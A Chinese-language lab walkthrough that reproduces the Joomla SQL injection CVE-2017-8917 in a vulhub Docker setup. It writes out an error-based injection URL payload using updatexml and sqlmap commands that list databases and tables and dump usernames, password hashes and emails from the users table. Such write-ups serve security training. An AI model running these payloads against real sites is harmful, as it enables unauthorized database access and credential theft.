SQL注入漏洞复现(CVE-2017-8917)

文章目录

  • 搭建环境
  • 启动环境
  • 漏洞复现
    • 报错注入
    • 使用sqlmap

前提条件:

1.安装docker

docker pull medicean/vulapps:j_joomla_2

2.安装docker-compose

docker run -d -p 8000:80 medicean/vulapps:j_joomla_2

3.下载vulhub

Docker Compose是 docker 提供的一个命令行工具,用来定义和运行由多个容器组成的应用,而docker-compose.yml是它的配置文件。

搭建环境

进入vulhb目录下的joomla,复现CVE-2017-8917漏洞:

cd /home/kali/vulhub/joomla/CVE-2017-8917

查看docker-compose的配置文件:

cat docker-compose.yml

如图,里面有两个镜像文件的信息,还有容器名字:

SQL注入漏洞复现(CVE-2017-8917)_第1张图片

然后使用下面命令,搭建docker-compose并启动:

docker-compose up -d && docker-compose up -d

如图:

SQL注入漏洞复现(CVE-2017-8917)_第2张图片

启动环境

环境搭建成功后,在浏览器中输入本机地址加之前配置文件中的端口10.9.75.45:8080进入Joomla环境:

SQL注入漏洞复现(CVE-2017-8917)_第3张图片

配置网站,输入用户名和密码,密码设为root,点击下一步:

SQL注入漏洞复现(CVE-2017-8917)_第4张图片

配置数据库账户密码,输入之前在配置文件中看到的数据库信息,点击下一步:

用户:root
密码:vulhub
数据库名:joomla

SQL注入漏洞复现(CVE-2017-8917)_第5张图片

成功后点击安装,安装成功后点击删除installation目录(重要)

SQL注入漏洞复现(CVE-2017-8917)_第6张图片

漏洞复现

报错注入

环境启动成功后刷新,页面跳转并出现报错信息,这时候可以用SQL注入中的报错注入来获取数据库信息,在URL中输入:

?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

成功回显当前用户名:

SQL注入漏洞复现(CVE-2017-8917)_第7张图片

使用sqlmap

在kali中输入下面命令,获取数据库名,注入点为list:

sqlmap -u "http://10.9.75.45:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)" --dbs

在弹出的交互式语句中直接回车,最后爆破出数据库名:
SQL注入漏洞复现(CVE-2017-8917)_第8张图片

,输入下面命令,查看Joomla数据库中的表:

sqlmap -u "http://10.9.75.45:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -D joomla --tables

第一个交互选n,第二个直接回车,列出57个表名,其中比较重要的表示users:

SQL注入漏洞复现(CVE-2017-8917)_第9张图片

查看users表中的内容:

–dump列表中指定列的内容

sqlmap -u "http://10.9.75.45:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)" -D joomla -T '#__users' -C username,password,email --dump 

成功获得了用户名、加密的密码和之前输入的邮箱:

SQL注入漏洞复现(CVE-2017-8917)_第10张图片

你可能感兴趣的:(网络安全,漏洞复现,sql,网络,安全)